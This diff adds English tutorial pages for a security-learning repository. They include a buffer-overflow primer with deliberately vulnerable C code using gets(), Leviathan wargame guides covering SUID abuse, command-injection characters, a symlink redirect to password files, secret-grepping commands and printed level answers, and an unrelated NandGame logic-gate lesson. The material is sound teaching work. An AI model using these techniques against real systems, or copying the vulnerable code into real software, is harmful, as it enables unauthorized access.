+| [00a_assembly_bilmeden_giris.md](./binary_exploitation/00a_assembly_bilmeden_giris.md) | Getting started without assembly: minimum instruction dictionary, an end-to-end first exploit |
| [00_x86_assembly_temelleri.md](./binary_exploitation/00_x86_assembly_temelleri.md) | Registers, data types, MOV/LEA/arithmetic, PUSH/POP, CALL/RET, calling convention, prologue/epilogue |
| [00b_gdb_ile_assembly_okumak.md](./binary_exploitation/00b_gdb_ile_assembly_okumak.md) | Assembly→C method, common patterns (memset/memcpy/strlen/switch), GDB command reference |
| [01_bellek_ve_memory_layout.md](./binary_exploitation/01_bellek_ve_memory_layout.md) | Stack layout, variable adjacency, buffer overflow logic, `x/20wx $esp` |
diff --git a/docs/eng/konu_anlatimlari/binary_exploitation/00a_assembly_bilmeden_giris.md b/docs/eng/konu_anlatimlari/binary_exploitation/00a_assembly_bilmeden_giris.md
new file mode 100644
index 0000000..3f4b5b8
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/binary_exploitation/00a_assembly_bilmeden_giris.md
@@ -0,0 +1,106 @@
+# 👶 The Logic of Binary Exploitation (Pwn) Without Knowing Assembly
+
+If you have never seen Assembly before, "Binary Exploitation" (or Pwn) can feel very intimidating. Most resources start straight away with registers (EAX, EBP) and hex addresses.
+
+However, **you do not need to know Assembly to grasp the logic**. It is enough to understand, at a basic level, how the C programming language works with memory (RAM).
+
+This guide was prepared so that even someone who knows no Assembly at all can understand the logic of **Buffer Overflow**, the most fundamental vulnerability in Binary Exploitation.
+
+> 🧭 **Note:** This is deliberately the "quick start without asm" path. As you will see below (and as you progress line by line), modern protections and ROP will eventually require assembly — at that point, if you want a solid foundation from scratch → **[x86 Assembly course](../x86_assembly/00_buradan_basla.md)** *(in progress)*.
+
+---
+
+## 📚 An Analogy From Real Life: The Box and the Diary
+
+Imagine there are two boxes standing side by side on your desk.
+1. **Left Box (Name Box):** Just big enough to hold a name card of 5 letters.
+2. **Right Box (Secret Diary):** A very secret diary, with "ONLY THE OWNER MAY READ" written on it.
+
+They ask you to write your name and put it in the Left Box. The box can hold 5 letters, but you try to cram in a card that says "Abdurrahman" (11 letters).
+
+What happens?
+Because the card is too long, it does not fit in the Left Box, it overflows, and the tip of the card **goes into the Right Box (the Secret Diary)**. If you wrote a special keyword on that overflowing part of the card, you have accidentally (or deliberately) unlocked the Secret Diary!
+
+This is exactly what **Buffer Overflow** is. The programmer reserved a spot of 5 letters for you, you send 100 letters into it, and the overflowing letters get written over very critical data in the memory (RAM) that the program had reserved for other purposes.
+
+---
+
+## 💻 Let's See It Through Code (Only C, No Assembly)
+
+Let's look at this simple program written in C:
+
+```c
+#include
+#include
+
+int main() {
+ int sifre_dogru_mu = 0; // Right Box: Initially 0 (False)
+ char isim_kutusu[5]; // Left Box: Only room for 5 characters
+
+ printf("Enter your name: ");
+ gets(isim_kutusu); // GET INPUT FROM THE USER (THE VULNERABILITY IS HERE!)
+
+ if (sifre_dogru_mu != 0) {
+ printf("HACK SUCCESSFUL! You have accessed the secret information.\n");
+ } else {
+ printf("You only entered a name, login failed.\n");
+ }
+
+ return 0;
+}
+```
+
+### Where Is the Vulnerability?
+The `gets()` function is extremely dangerous because it does not ask the user **"How many letters will you enter?"** It just reads everything the user typed and starts writing it into the spot named `isim_kutusu` (a 5-letter spot).
+
+### What Happens in Memory (RAM)?
+Variables sit side by side in memory:
+`[ isim_kutusu (5 byte) ] [ sifre_dogru_mu (4 byte) ]`
+
+**Scenario 1: Normal Use**
+You entered "Ali" as your name.
+Memory looks like this:
+`[ A | l | i | \0 | empty ] [ 0 | 0 | 0 | 0 ]`
+Result: `sifre_dogru_mu` is still 0. Hack failed.
+
+**Scenario 2: Hacker Attack (Buffer Overflow)**
+You entered "AAAAAAAAA" (9 A's) as your name.
+Memory takes 5 letters, and the rest **overflows** and gets written over the variable next to it!
+`[ A | A | A | A | A ] [ A | A | A | A ]`
+
+Now the inside of the `sifre_dogru_mu` variable is no longer 0, but filled with 'A' letters (numbers, in computer terms)! Since the value is now different from 0, the `if (sifre_dogru_mu != 0)` condition is satisfied and:
+👉 **"HACK BASARILI! Gizli bilgilere eristiniz."**
+
+Just like that, without knowing Assembly, simply by knowing that variables sit side by side and that one can overflow and crush the other, we understood our first vulnerability!
+
+---
+
+## 🛠️ Can You Learn Pwn Without Knowing Assembly?
+
+In the beginning, **yes** — you can find vulnerabilities by understanding the high-level logic (the C code). However, to get past modern protections (ASLR, NX, Canary) and to use more advanced techniques like "Return Oriented Programming (ROP)", you need to know how the program runs in machine language (on the CPU).
+
+**Good News:** You do not need to learn Assembly well enough to "write" it. It is enough to know how to "read it and understand what it means" (especially what pointers like EIP/RIP are for).
+
+### Learning Strategy
+1. **Learn C First:** Pointers, arrays, and memory management.
+2. **Use a Decompiler:** Tools like Ghidra turn Assembly code back into C code (or into something very close to it). This way you don't have to read Assembly.
+3. **Use Pwntools:** A library that makes writing exploits with Python very easy. It does the low-level byte calculations for you.
+4. **Learn Assembly Along the Way:** When you come across a `mov` or `cmp` instruction you don't know, just look up what that instruction does at that moment. Don't try to memorize everything up front.
+
+---
+
+## 🔗 Resources for Beginners That Require No / Little Assembly
+
+Here are resources that explain the theory in a fun and practical way, without drowning you in details:
+
+1. **picoCTF (Pwn Category):**
+ - It is the world's best beginner CTF. The first questions in the "Binary Exploitation" category (for example `buffer overflow 0` or `stonks`) come with the source code. They ask you to find and exploit vulnerabilities in the C code.
+2. **LiveOverflow (YouTube):**
+ - The "Binary Exploitation / Memory Corruption" playlist is legendary. It explains topics with really nice animations and drawings. It is perfect for grasping the logic of the work.
+3. **Nightmare (GitHub Book):**
+ - A great resource that works through CTF questions. It explains step by step, starting from the simplest buffer overflow.
+4. **Pwn College:**
+ - A free platform prepared by ASU (Arizona State University). It lets you learn entirely through hands-on practice from the terminal.
+
+---
+**Next Step:** If you understood the logic above, you can continue from the `01_bellek_ve_memory_layout.md` file in this folder.
diff --git a/docs/eng/konu_anlatimlari/leviathan_komutlari/before_you_start.md b/docs/eng/konu_anlatimlari/leviathan_komutlari/before_you_start.md
new file mode 100644
index 0000000..f2c8cae
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/leviathan_komutlari/before_you_start.md
@@ -0,0 +1,127 @@
+# Before You Start — Leviathan Prerequisites
+
+> Everything you need to know before sitting down at the Leviathan lab: the logic of the game, how to connect, what fundamentals you need, and what kind of exploration reflex you should build in the very first shell you open.
+
+---
+
+## What is Leviathan?
+
+Leviathan is an **entry-level** wargame on the [OverTheWire](https://overthewire.org/wargames/leviathan/) site. Unlike Narnia/Behemoth, it doesn't teach you to write exploits; it teaches you **basic Linux skills, file permissions, SUID logic, and simple reverse engineering**. There are 8 levels (leviathan0 → leviathan7), and most levels are solved in 5–15 minutes.
+
+There are no hints/theory — each level only gives you a user and a directory; you find the rest by exploring.
+
+---
+
+## How the game works
+
+The common rule across all OverTheWire games is this:
+
+```
+Each level is about capturing the password of the NEXT level.
+```
+
+- You log in as `leviathan0`, and your goal is to find the `leviathan1` password.
+- The password always sits here:
+
+```bash
+/etc/leviathan_pass/leviathan
+```
+
+- Only the `leviathanN` user can read this file. You are `leviathan(N-1)` → you can't `cat` it directly.
+- So, using a **SUID program** in the home directory or a misconfiguration, you escalate to `leviathanN` privileges, then read the password.
+
+---
+
+## How do you connect? (SSH)
+
+```bash
+ssh leviathan0@leviathan.labs.overthewire.org -p 2223
+```
+
+| Part | Value |
+|---|---|
+| User | `leviathan0` (first level) |
+| Server | `leviathan.labs.overthewire.org` |
+| Port | `2223` |
+| Starting password | `leviathan0` |
+
+Once you solve a level and find the next password, you exit (`exit`) and reconnect as the next user up:
+
+```bash
+ssh leviathan1@leviathan.labs.overthewire.org -p 2223 # with the password you found
+```
+
+> **Note:** When you type the password it won't appear on screen (this is normal). When you copy-paste, watch out for leading/trailing whitespace.
+
+---
+
+## What fundamentals do you need?
+
+Knowing the topics below is enough. For each one there is a separate topic writeup in this folder:
+
+| Need | Why it's needed | Topic file |
+|---|---|---|
+| **Navigating the terminal** (`ls -la`, `cd`, `cat`, `pwd`) | Exploring directories, seeing hidden files | [linux_komutlari/dosya_sistemi.md](../linux_komutlari/dosya_sistemi.md) |
+| **Text searching** (`grep`, `strings`) | Finding a leaked password inside a file | [linux_komutlari/metin_isleme.md](../linux_komutlari/metin_isleme.md) |
+| **File permissions & SUID** | The whole logic of the game rests on this | [file_permissions_suid.md](./file_permissions_suid.md) |
+| **Binary recognition** (`file`, `xxd`, binary→ASCII) | Figuring out whether a program is 32/64-bit and decoding its output | [binary_analysis.md](./binary_analysis.md) |
+| **Dynamic analysis** (`ltrace`, `strace`) | Seeing which password the program compares against | [ltrace_strace.md](./ltrace_strace.md) |
+| **Static analysis** (`gdb`, `objdump`) | Reading embedded constants/code | [gdb.md](./gdb.md) |
+| **Symbolic links** (`ln -s`) | Redirecting the file the program reads | [symbolic_links.md](./symbolic_links.md) |
+| **Bash loops & brute force** | Trying short codes/PINs | [brute_force_bash.md](./brute_force_bash.md) |
+
+> All of these tools are **already installed on the server** (`ltrace`, `strace`, `gdb`, `objdump`, `strings`, `file` are present). You don't need to install anything on your own machine; just an SSH client is enough.
+
+---
+
+## The exploration reflex in the first shell you open
+
+Every time you enter a new level, apply these steps without thinking:
+
+```bash
+# 1) Where am I, who am I?
+pwd; id; whoami
+
+# 2) What's IN the home directory? (including hidden files — the most critical command)
+ls -la
+
+# 3) If there's an interesting file/binary, learn its type
+file
+
+# 4) If it's a binary: run it, see what it wants; then trace it with ltrace
+./
+ltrace ./
+
+# 5) If there's a text/backup file, search inside it for a secret
+grep -i -E 'pass|key|secret'
+```
+
+The **hidden files** in `ls -la` (like `.backup`, `.trash`) and the **SUID bit** (`-r-s...`) are almost always the key to the solution.
+
+---
+
+## Safe working habits
+
+- Create temporary files in your own space: open a private directory with `cd /tmp && mktemp -d`.
+- Clean up the symlinks/files you create when you're done (`rm`), so they don't break your next attempt.
+- When you find a password, **note it down somewhere** (but per OTW rules, don't share it publicly).
+
+---
+
+## Summary
+
+| Question | Answer |
+|---|---|
+| What's the goal? | At each level, find the next user's password |
+| Where's the password? | `/etc/leviathan_pass/leviathan` |
+| How do I read it? | Escalate privileges with a SUID binary / misconfiguration |
+| How do I connect? | `ssh leviathanN@leviathan.labs.overthewire.org -p 2223` |
+| What do I do first? | `ls -la` → look for hidden files & SUID, inspect with `file`/`ltrace` |
+
+---
+
+## 🔗 Related Topics
+
+- 👉 **What Leviathan teaches:** [what_leviathan_teaches.md](./what_leviathan_teaches.md)
+- Solutions: [../../overthewire/leviathan/](../../overthewire/leviathan/) (`leviathan N -> M` files)
+- Full topic index: [../KONU_ANLATIMLARI.md](../KONU_ANLATIMLARI.md)
diff --git a/docs/eng/konu_anlatimlari/leviathan_komutlari/what_leviathan_teaches.md b/docs/eng/konu_anlatimlari/leviathan_komutlari/what_leviathan_teaches.md
new file mode 100644
index 0000000..78c4dd2
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/leviathan_komutlari/what_leviathan_teaches.md
@@ -0,0 +1,132 @@
+# What Does Leviathan Teach Us?
+
+> More than exploit writing, Leviathan teaches the **everyday language of local privilege escalation**: the classic ways of going from a "low-privilege user" to a "privileged user" on a system. Below is each lesson, together with the level where it appears and its real-world counterpart.
+
+---
+
+## The Big Picture
+
+The whole of Leviathan can be summarized in a single sentence:
+
+> **Abusing input/a file/a behavior that a program trusts, through that program's privilege (SUID).**
+
+Every level is a different variation of this idea. What you learn is not commands; it's **how to look at a target** — the reflex of seeing what counts as an "attack surface."
+
+---
+
+## Lesson 1 — Information Disclosure
+**Level:** leviathan0
+
+The password was embedded in plain text inside a backup file (`.backup/bookmarks.html`). Sensitive data had been left forgotten in an accessible file with a "we'll fix it later" note.
+
+- **Attack reflex:** Reveal hidden files with `ls -la`, scan for secrets with `grep -i pass`.
+- **Real world:** API keys that slipped into Git history, passwords in log files, credentials left in comment lines.
+- **Defense:** Don't embed secrets in code/backups; use a secret manager, tighten permissions, clean the history.
+
+🔗 Solution: [leviathan 0 -> 1](../../overthewire/leviathan/leviathan%200%20-%3E%201.md)
+
+---
+
+## Lesson 2 — Finding an Embedded Secret with Dynamic Analysis
+**Level:** leviathan1, leviathan3
+
+The programs asked for a password, but they had hardcoded the password inside the binary (`strcmp(input, "sex")`, `strcmp(input, "snlprintf")`). Tracing the library calls with `ltrace` revealed the password instantly.
+
+- **Attack reflex:** Before diving into reverse engineering, observe with `ltrace`/`strace`. Most "hidden" comparisons show up there.
+- **Real world:** API keys embedded in mobile apps/firmware, license checks, "secret" comparisons.
+- **Defense:** "Security through obscurity" is not security. Do authentication on the server side, with a hash + constant-time comparison.
+
+🔗 Solutions: [leviathan 1 -> 2](../../overthewire/leviathan/leviathan%201%20-%3E%202.md) · [leviathan 3 -> 4](../../overthewire/leviathan/leviathan%203%20-%3E%204.md)
+
+---
+
+## Lesson 3 — Command & Argument Injection (`system()`)
+**Level:** leviathan2
+
+The `printfile` program checked its access with `access()`, then printed the file with `system("/bin/cat " + argv[1])`. Because the shell **splits the filename on whitespace**, it became possible to inject an extra argument; moreover, `access` and `cat` interpreted the same string differently.
+
+- **Attack reflex:** If user input flows into a shell command, try injection with whitespace / `;` / `|` / `$()`.
+- **Real world:** **OS command injection** (CWE-78) on the web — this is the exact same logic as the most common and dangerous form of that class.
+- **Defense:** Instead of `system()`/`popen()`, pass arguments **separately** with `execv()`; never embed user input into a shell as a string.
+
+🔗 Solution: [leviathan 2 -> 3](../../overthewire/leviathan/leviathan%202%20-%3E%203.md)
+
+---
+
+## Lesson 4 — Encoding ≠ Encryption
+**Level:** leviathan4
+
+`.trash/bin` printed the password as binary ASCII, in the form `00110000 01100100 ...`. This is not encryption, just a **representation (encoding)**; converting the bits in groups of 8 to ASCII was enough.
+
+- **Attack reflex:** With "unreadable" output like 0/1, base64, hex, try decoding first — most of it is just encoding.
+- **Real world:** Tokens "hidden" with base64, hex dumps, URL-encoded data.
+- **Defense:** Encoding data does not hide it. If you genuinely need secrecy, you need encryption (and key management).
+
+🔗 Solution: [leviathan 4 -> 5](../../overthewire/leviathan/leviathan%204%20-%3E%205.md)
+
+---
+
+## Lesson 5 — Symbolic Link Attack & Insecure `/tmp`
+**Level:** leviathan5
+
+The `leviathan5` program opened and printed a fixed path (`/tmp/file.log`) with leviathan6's privilege, but **didn't check what the file was**. When we made that path a symlink to the password file, the program read the password for us.
+
+- **Attack reflex:** If a privileged program uses a **predictable** filename in `/tmp`, redirect it to your target with a symlink.
+- **Real world:** **Symlink following / insecure temporary file** (CWE-59) — here there isn't even a check; the symlink is followed directly. (If an `access()` check had come in between, the check↔use race = **TOCTOU**, CWE-367.) Both are the basis of many local privesc CVEs.
+- **Defense:** `O_NOFOLLOW`, per-user secure directories, `mkstemp`, and dropping privilege before the work (`setresuid`).
+
+🔗 Solution: [leviathan 5 -> 6](../../overthewire/leviathan/leviathan%205%20-%3E%206.md)
+
+---
+
+## Lesson 6 — Static Analysis & Weak Secrets
+**Level:** leviathan6
+
+`leviathan6` asked for a 4-digit PIN. There were two ways: either **brute force** 0000–9999, or read the compared constant directly with `objdump` (`mov [ebp-0xc], 0x1bd3` before `cmp [ebp-0xc], eax` = 7123). Static analysis gave the answer in seconds.
+
+- **Attack reflex:** If the search space is small, brute force; if you have the binary, read the constant with `objdump`/`gdb`.
+- **Real world:** Short PINs, predictable tokens, "magic" values embedded in the binary.
+- **Defense:** Don't put secrets in the binary as immediates; rate-limit PINs and validate them on the server.
+
+🔗 Solution: [leviathan 6 -> 7](../../overthewire/leviathan/leviathan%206%20-%3E%207.md)
+
+---
+
+## Level → Concept Map
+
+| Level | Vulnerability class | Key tool |
+|---|---|---|
+| 0 → 1 | Information disclosure | `ls -la`, `grep` |
+| 1 → 2 | Embedded secret + dynamic analysis | `ltrace` |
+| 2 → 3 | Argument/command injection (`system`) | logic + `ltrace` |
+| 3 → 4 | Embedded secret + dynamic analysis | `ltrace` |
+| 4 → 5 | Encoding ≠ encryption | binary→ASCII |
+| 5 → 6 | Symlink following + insecure `/tmp` | `ln -s` |
+| 6 → 7 | Weak secret (brute / static analysis) | `objdump`, `for` loop |
+
+---
+
+## High-Level Takeaways
+
+1. **SUID is powerful but dangerous.** Every program that runs with privilege can be exploited through every input/file/behavior it trusts. Narrow the attack surface, drop privilege early.
+2. **Security ≠ obscurity.** An embedded password, encoded data, a short PIN — none of them is protection.
+3. **Observe first, then solve.** The sequence `ls -la` → `file` → `ltrace`/`objdump` solves most of the levels on its own.
+4. **The same mistakes are everywhere.** The command injection, TOCTOU and info-disclosure lessons here are exact miniatures of the most common security vulnerability classes in the web and in real systems.
+
+---
+
+## What's Next?
+
+Leviathan gave you the fundamentals. The next steps:
+
+- **Behemoth** — buffer overflow and more serious memory errors.
+- **Narnia** — the beginning of exploit development (shellcode, EIP control).
+- If you want to move on to the fundamentals of memory exploitation: [../binary_exploitation/00_x86_assembly_temelleri.md](../binary_exploitation/00_x86_assembly_temelleri.md)
+
+---
+
+## 🔗 Related Topics
+
+- 👈 **Before you start — background knowledge:** [before_you_start.md](./before_you_start.md)
+- Technical references: [file_permissions_suid.md](./file_permissions_suid.md) · [ltrace_strace.md](./ltrace_strace.md) · [symbolic_links.md](./symbolic_links.md) · [gdb.md](./gdb.md) · [binary_analysis.md](./binary_analysis.md) · [brute_force_bash.md](./brute_force_bash.md)
+- Full topic index: [../KONU_ANLATIMLARI.md](../KONU_ANLATIMLARI.md)
diff --git a/docs/eng/konu_anlatimlari/linux_komutlari/git.md b/docs/eng/konu_anlatimlari/linux_komutlari/git.md
index 20aa31e..6d1901a 100644
--- a/docs/eng/konu_anlatimlari/linux_komutlari/git.md
+++ b/docs/eng/konu_anlatimlari/linux_komutlari/git.md
@@ -187,7 +187,7 @@ index ...
+++ b/README.md
@@ -4,3 +4,3 @@
username: natas9
--password: ← OLD (removed)
+-password: ← OLD (removed)
+password: xxxxxxxxxx ← NEW (added)
```
diff --git a/docs/eng/konu_anlatimlari/salterden_bilgisayara/00_buradan_basla.md b/docs/eng/konu_anlatimlari/salterden_bilgisayara/00_buradan_basla.md
new file mode 100644
index 0000000..c986901
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/salterden_bilgisayara/00_buradan_basla.md
@@ -0,0 +1,197 @@
+# 🧭 From Switches to a Computer — Start Here (Truly From Scratch)
+
+> The phone in your pocket has billions of transistors inside it. That number looks
+> terrifying — until you learn this secret: **they are all repetitions of the same simple part.**
+> This series won't explain the computer to you; it will **make you build it.** We'll start
+> from a single switch that turns on and off, and gate by gate, floor by floor, you will
+> build every part with your own hands, all the way up to a working computer.
+
+> **Who is this series for?** For everyone. You don't need to know electronics, you don't
+> need to have written code, you don't even need to remember high-school physics. The only
+> prerequisite is accepting this sentence: *"electricity flows through a wire, and a button
+> opens or cuts it off."* We'll build the rest together.
+
+---
+
+## 📋 Table of Contents
+
+- [What This Series Is NOT](#what-this-series-is-not)
+- [First, Let's Break the Fear](#first-lets-break-the-fear)
+- [One Tool: NandGame](#one-tool-nandgame)
+- [What Will You Be Able to Do in the End?](#what-will-you-be-able-to-do-in-the-end)
+- [The Big Picture: Why Do We Start From the Switch?](#the-big-picture-why-do-we-start-from-the-switch)
+- [Roadmap — Lesson by Lesson](#roadmap--lesson-by-lesson)
+- [How Should You Study?](#how-should-you-study)
+- [Sister Series: x86 Assembly](#sister-series-x86-assembly)
+
+---
+
+## What This Series Is NOT
+
+- **It's not an electronics course.** Voltage calculations, resistance, formulas — none of
+ that. All we need is electricity's single habit: it either flows or it doesn't.
+- **It's not a memorization course.** I won't make you memorize any gate's table. You'll get
+ to know each part *the very moment you need it*, recognizing it as "without this, that job
+ can't be done."
+- **It's not a spectator sport.** **You** will build every part. A circuit you read past is
+ forgotten; a circuit you build with your own hands is yours.
+- **It's not fast.** Each lesson sits on top of the previous one. A stone you skip will trip
+ your foot three lessons later.
+
+---
+
+## First, Let's Break the Fear
+
+The answer to "how does a processor work?" is, in most places, either a two-sentence brush-off
+("it's very complex, billions of transistors...") or a university textbook. Both send the same
+message: *this place is not for you.*
+
+Here's a secret: **at the very bottom of the computer there is nothing hard.** At the very
+bottom there are switches that turn on and off — no different from the lamp switch in your
+home. The difficulty isn't in the individual parts, it's in the *number* of parts. And once
+you learn how to build one, the number stops being terrifying: laying the same brick over and
+over is no harder than understanding a single brick.
+
+> 💡 Getting stuck, the "my brain is fried" feeling, looking at the same spot twice — all of
+> it is normal, and everyone passes through that gate. In this series, slowing down isn't a
+> weakness, it's the method.
+
+---
+
+## One Tool: NandGame
+
+Throughout the whole series we'll use one single tool: **[nandgame.com](https://nandgame.com)**
+
+- **Free.** No sign-up, no installation, no ads. It opens in the browser, you play.
+- **Like a game but real:** each level gives you a task ("build the circuit that satisfies
+ this table"), you drag parts from the boxes on the left and connect them with wires, then
+ you click **Check solution**. The game tries all the combinations for you; if they all
+ pass, the level is done.
+- **Its order is the same as this series' order:** the game's levels follow the construction
+ layers of a real computer. At the end of each lesson, the "now you build it" section sends
+ you to exactly that level of the game.
+
+> 🔑 Let the division of labor be clear from the start: **the lesson gives you the concept,
+> you solve the level.** At the end of each lesson there's also the logic of the solution —
+> but inside folded (click-to-open) boxes, with a "try it yourself first" warning. Opening
+> that box early is up to you; but know that all the joy of this series is in the "I figured
+> it out myself" moments.
+
+---
+
+## What Will You Be Able to Do in the End?
+
+When you finish the part of the series written so far (Unit 0 + 1):
+
+- You'll know what "1 and 0" **physically** is — not a metaphor, but wire and current.
+- You'll have **derived yourself** all the logic gates from a single kind of part (NAND).
+- You'll be able to explain how the computer **counts** and how it **adds**, because you
+ built the adding circuit yourself.
+- The phrase "billions of transistors" won't scare you — because you'll have seen how the
+ floors stack on top of one another.
+
+The series will grow as the game advances: next up are multi-digit addition, subtraction,
+the compute core (ALU), memory, and finally **a real processor that executes instructions.**
+All from the same bricks.
+
+---
+
+## The Big Picture: Why Do We Start From the Switch?
+
+A computer is made of floors. Each floor is built from the one below it — and the moment each
+floor is built, it **lets you forget** the one beneath it:
+
+```
+ PROCESSOR "the machine that executes instructions"
+ ▲ is built from these
+ MEMORY + ALU "the parts that remember and compute"
+ ▲ is built from these
+ ADDERS "circuits that add numbers"
+ ▲ is built from these
+ GATES "AND, OR, NOT... the little parts that make decisions"
+ ▲ is built from these
+ SWITCH / RELAY "the single motion that turns current on and off"
+```
+
+Explanations that start from the top always get stuck in the same place: a floor with no
+foundation turns into rote memorization. We'll do the opposite — starting from **the very
+bottom** and casting each floor ourselves. That way I'll never have to say "just accept this
+as it is" at any point.
+
+> 💡 The claim in this series' name is real: the transistor inside a modern chip is the
+> grandchild of the relay you're about to meet, shrunk billions of times over. The difference
+> is size and speed; **the idea is the same.** Whoever understands the switch has understood
+> the transistor.
+
+---
+
+## Roadmap — Lesson by Lesson
+
+Read the files in this order. Each lesson leans on the previous one.
+
+### 🧱 Unit 0 — The Bricks: From Switches to Gates
+
+| # | File | What it teaches | NandGame level |
+|:---:|---|---|---|
+| 1 | [01_akim_salter_role](./01_akim_salter_role.md) | What 1 and 0 really are; the relay; the first gate | Nand |
+| 2 | [02_nanddan_kapilar](./02_nanddan_kapilar.md) | All gates from a single brick: NOT, AND, OR | Invert, And, Or |
+| 3 | [03_xor_iki_fedai](./03_xor_iki_fedai.md) | The difference detector XOR — the tale of the two that do the dirty work | Xor |
+| 3.5 | [03.5_soyutlama_merdiveni](./03.5_soyutlama_merdiveni.md) | *(interlude)* Boxing up the floors — the computer's construction secret | — |
+
+### ➕ Unit 1 — Counting and Adding
+
+| # | File | What it teaches | NandGame level |
+|:---:|---|---|---|
+| 4 | [04_teller_sayi_olunca](./04_teller_sayi_olunca.md) | Loading number-meaning onto wires; binary counting | — *(concept lesson)* |
+| 5 | [05_half_adder](./05_half_adder.md) | The first adder: 1 + 1 = 10 | Half Adder |
+| 6 | [06_full_adder](./06_full_adder.md) | The carry chain: the brick for adding numbers of unlimited size | Full Adder |
+
+### 🔜 On the way (to be written as the game advances)
+
+Multi-bit Adder → subtraction and negative numbers → data routing (Switching) → the compute
+core (ALU) → memory (latch, register, RAM) → **the processor.**
+
+> 💡 Files whose number ends in `.5` are short **interludes**: on the side of the main road,
+> lighter. But don't skip 03.5 — the most important idea of the series is there.
+
+---
+
+## How Should You Study?
+
+1. **Don't break the order.** Both the game levels and the lessons stack on top of each other.
+2. **Solve every level yourself.** Before opening the solution box, genuinely try at least
+ once. Getting stuck is part of the job; the difference between *seeing* the solution and
+ *finding* it is everything this series will give you.
+3. **Decide "done" yourself — but honestly.** A topic is finished not when you pass the level
+ in the game, but when you **can explain it to someone else.** Explain it out loud to
+ yourself; the sentence where you get stuck is the place you go back to.
+4. **Keep a screenshot archive.** Toss the screenshot of every level you solve into a folder.
+ You'll both see your progress and have concrete proof to say "I built this."
+5. **Slow = fast.** A gate you rush past will stop you three levels later.
+
+---
+
+## Sister Series: x86 Assembly
+
+This series has a sibling: the **x86 Assembly** course. The two look at the same machine from
+two ends:
+
+- **This series** builds the worker (the processor) **from parts** — "what is this machine
+ made of?"
+- **The x86 series** teaches you to **give orders** to that worker — "how do you make this
+ machine do work?"
+
+They can be read independently of each other; but if you carry both at once, one day the two
+paths meet: there, you'll see that the `add` order you wrote goes to the adder you built here
+with your own hands. That moment is the reason both of these series exist.
+
+---
+
+## 🔗 Next Step
+
+- [01_akim_salter_role.md](./01_akim_salter_role.md) — continue here. We'll learn
+ electricity's single habit and build our first gate.
+
+---
+
+*This lesson is part of the "From Switches to a Computer" series. The series proceeds alongside [nandgame.com](https://nandgame.com).*
diff --git a/docs/eng/konu_anlatimlari/salterden_bilgisayara/01_akim_salter_role.md b/docs/eng/konu_anlatimlari/salterden_bilgisayara/01_akim_salter_role.md
new file mode 100644
index 0000000..3ff2f33
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/salterden_bilgisayara/01_akim_salter_role.md
@@ -0,0 +1,243 @@
+# ⚡ From Switches to a Computer — Current, the Switch, and the First Gate: NAND
+
+> The computer's alphabet has two letters: **present** and **absent.**
+> In this lesson you'll see what those two letters physically are, you'll meet the
+> part that lets electricity manage itself (the relay), and you'll build the gate
+> that gives the series its name — NAND — with your own hands.
+
+> **This lesson is the foundation of the series.** If the single idea here ("electricity
+> can manage electricity") settles in, the rest of the series is just a repetition of
+> that idea. Don't rush.
+
+---
+
+## 📋 Table of Contents
+
+- [What Are 1 and 0, Really?](#what-are-1-and-0-really)
+- [The Switch: The Part That Decides on Current](#the-switch-the-part-that-decides-on-current)
+- [The Relay: A Switch Whose Own Lever Is Pushed by Electricity](#the-relay-a-switch-whose-own-lever-is-pushed-by-electricity)
+- [The Relay's Two Temperaments: Normally Passing, Normally Cutting](#the-relays-two-temperaments-normally-passing-normally-cutting)
+- [The Transistor: The Relay's Grandchild](#the-transistor-the-relays-grandchild)
+- [First Task: The NAND Gate](#first-task-the-nand-gate)
+- [Why Is the First Gate NAND?](#why-is-the-first-gate-nand)
+- [🎮 Now You Build It](#-now-you-build-it)
+
+---
+
+## What Are 1 and 0, Really?
+
+Every explanation of computers says "ones and zeros," but most of them never say what
+these things **are.** Let's say it:
+
+> **1 = there is current in the wire. 0 = there is no current in the wire.** That's all.
+
+Think of the light switch on your wall. Switch on → there's current in the wire → the
+lamp is lit. We call this state "1." Switch off → no current → "0." In each of the
+billions of wires inside a computer, at every moment, one of these two holds: either
+there is current, or there isn't.
+
+Let's pause here and underline something important:
+
+> 🔑 **The wire doesn't know it's carrying a "1."** In the wire there is simply
+> electricity, or there isn't. "This current means 1," "those three wires mean a
+> number," "that number means the letter A" — these are all **meanings we assign.**
+> Sand (silicon) doesn't know how to add; we give the pattern its meaning. What we do
+> in this series is exactly this: dressing meaningless currents, layer by layer, in
+> meaning.
+
+---
+
+## The Switch: The Part That Decides on Current
+
+The simplest part that turns current on and off is the switch — the very light switch
+itself:
+
+```
+ Current source ───o o─── lamp (lever open: NO current → 0)
+
+ Current source ───o───o─── lamp (lever closed: current YES → 1)
+```
+
+The switch has just one trick: to **open or close** the path of a wire. But it has a
+problem: its lever is pushed by a **finger.** You can't build a computer out of
+something pushed by a finger — there's no finger that can press a button billions of
+times per second.
+
+So what if, instead of a finger... **electricity** pushed the lever?
+
+---
+
+## The Relay: A Switch Whose Own Lever Is Pushed by Electricity
+
+A **relay** is a switch whose lever is pushed by an electromagnet. Inside it there are
+two independent paths:
+
+- **Coil (control input):** if you feed current here, the magnet inside works and pulls
+ the switch's lever.
+- **Contact (the actual path):** the path that the lever opens and closes, the one the
+ actual current flows through.
+
+```
+ control current (to the coil)
+ │
+ ▼
+ ┌───────────┐
+ in ───┤ ⚡ lever ├─── out if the coil is full the lever is pulled,
+ └───────────┘ the in→out path opens or is cut
+```
+
+It looks like an ordinary part. It isn't. Hidden here is the most important idea of
+this series — and, really, of the whole history of computers:
+
+> 💡 **Electricity is managing electricity.** The current in one wire (the coil) decides
+> the fate (the contact) of the current in another wire. This means: you can connect the
+> **output** of one relay to the **control input** of another relay. Decisions can be
+> chained. If decisions can be chained — computation can be built. No finger needed.
+
+---
+
+## The Relay's Two Temperaments: Normally Passing, Normally Cutting
+
+The relay is made in two different temperaments; both are waiting for you in NandGame's
+box:
+
+| NandGame name | Temperament | Coil **empty** (c=0) | Coil **full** (c=1) |
+|---|---|---|---|
+| **relay (default on)** | normally passing | **passes** `in` to the output | **cuts** the path |
+| **relay (default off)** | normally cutting | output **empty** (0) | **passes** `in` to the output |
+
+Think of two guards: one keeps the door **open** by default and closes it when the order
+comes; the other keeps it **closed** by default and opens it when the order comes.
+
+> 💡 **If you're someone who's seen an electrical panel:** these are exactly the NC
+> (normally closed) and NO (normally open) contacts — "default on" = NC, "default off" =
